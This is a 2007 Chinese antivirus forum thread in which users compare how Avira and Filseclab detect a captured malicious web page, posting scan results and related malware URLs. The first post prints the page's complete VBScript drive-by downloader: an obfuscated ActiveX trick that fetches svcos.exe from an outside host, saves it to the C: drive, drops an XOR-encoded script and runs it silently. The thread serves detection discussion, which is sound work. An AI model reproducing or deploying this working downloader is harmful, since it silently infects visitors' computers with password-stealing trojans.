红伞报，费尔不报？

显示全部楼层 · 发表于 2007-10-6 18:51:50

受不了

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title></title>
</head><body>
<script language=VBScript>
On Error Resume Next
//////////////////////////////////////////////////////
// I Love Your TC-chenzi //
// I Love Your TC-chenzi //
// I Love Your TC-chenzi //
// I Love Your TC-chenzi //
//////////////////////////////////////////////////////
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
vip = "http://book.uubks.cn/bu/svcos.exe"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
Set ou = document.createElement("object")
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
ccc="clsid:BD96":lll="C556-65":sss="A3-11D":iii="0-983A-00C":ddd="04FC29E36":uso="Microsoft.X":pk="MLHTTp"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
ou.SetAttribute "classid", ccc&lll&sss&iii&ddd
bnb=uso&pk
Set vips = ou.CreateObject(bnb,"")
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
vips.Open "GET", vip, False
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
vips.Send
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
Hi="c:\microsofts.bat"
love="c:\microsofts.vbs"
SS="Scripting."
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
cc="FileSyst"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
rr="emObject"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
Set Ho = ou.createobject(SS&cc&rr,"")
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
Set uxo = Ho.GetSpecialFolder(2)
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
RR="Adod"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
NN="b.stream"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
hpk=RR&NN
Set chenzi = ou.createobject(hpk,"")
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.type=1
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Open
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Write vips.ResponseBody
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Savetofile Hi,2
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Close
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Type=2
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Open
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.WriteText "Function fan(loves)"&vbCrLf&"For i=1 to Len(loves) Step 2"&vbCrLf&"fan=fan & Chr(CLng(""&H"" & Mid(loves,i,2)) Xor 23)"&vbCrLf&"Next"&vbCrLf&"End Function"&vbCrLf&"chenzi=""587937526565786537457264627A723759726F631A1D44726337447F727B7B372A3754657276637258757D7274633F35406474657E676339447F727B7B353E1A1D447F727B7B396562793F35742D4B7A7E746578647871636439757663353E1A1D64726337447F727B7B2A5978637F7E79701A1D44726337716478372A3754657276637258757D7274633F354474657E67637E797039517E7B72446E6463727A58757D727463353E1A1D404474657E676339447B7272673726272727371A1D5E713771647839517E7B72526F7E6463643F35742D4B7A7E746578647871636439757663353E37437F7279377164783953727B726372517E7B723F35742D4B7A7E746578647871636439757663353E1A1D7164783953727B726372517E7B723F404474657E6763394474657E676359767A723E"""&vbCrLf&"Execute fan(chenzi)"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Savetofile love,2
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Savetofile "c:\\NTDETECT.EXE",2
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
chenzi.Close
we="Shell.Applica"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
Set run = ou.createobject(we&"tion","")
kkk="Op"
lll="en"
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
run.Shellexecute love,"","",kkk&lll,0
'I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your I'Love your
//////////////////////////////////////////////////////
// I Love Your TC-chenzi //
// I Love Your TC-chenzi //
// I Love Your TC-chenzi //
// I Love Your TC-chenzi //
//////////////////////////////////////////////////////
</script>
</body></html>

复制代码

显示全部楼层 · 发表于 2007-10-6 18:52:25

哎呀~ 怪不得…… 忘了判断>情况了……

嘿嘿修正了~

[ 本帖最后由 jimmyleo 于 2007-10-6 18:58 编辑 ]

显示全部楼层 · 发表于 2007-10-6 18:53:22

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Worm.Win32.Agent.vji

MAC地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：19.43.50

显示全部楼层 · 发表于 2007-10-6 18:54:01

svcos.exe这个文件明最近倒流行

显示全部楼层 · 发表于 2007-10-6 19:00:24

显示全部楼层 · 发表于 2007-10-6 19:14:17

汗还有个chmblinder……

http://web.858656.com/120/333/43343.htm

内嵌mm

显示全部楼层 · 发表于 2007-10-6 19:18:08

貌似费尔还有不完善的地方。国产加油啊！

显示全部楼层 · 发表于 2007-10-6 19:35:29

[link]bu/img.js
  [ani]http://book.uubks.cn/bu/ah.c
[exe]http://book.uubks.cn/bu/vip.exe
  [link]http://book.uubks.cn/bu/img.htm
  [link]http://book.uubks.cn/bu/img1.htm

显示全部楼层 · 发表于 2007-10-6 19:36:47

deleted: Trojan program Trojan-PSW.Win32.OnLineGames.efk File: E:\ÏÂÔØ»ùµØ\svcos.exe//UPX
deleted: Trojan program Trojan-Downloader.Win32.Agent.dex File: E:\ÏÂÔØ»ùµØ\1.exe//UPack
deleted: Trojan program Trojan-Downloader.Win32.Agent.dex File: E:\ÏÂÔØ»ùµØ\smss1.exe//UPack

显示全部楼层 · 发表于 2007-10-6 20:28:34

费尔报了这段代码

[已鉴定] 红伞报，费尔不报？

回复 11楼 promised 的帖子

回复 11楼 promised 的帖子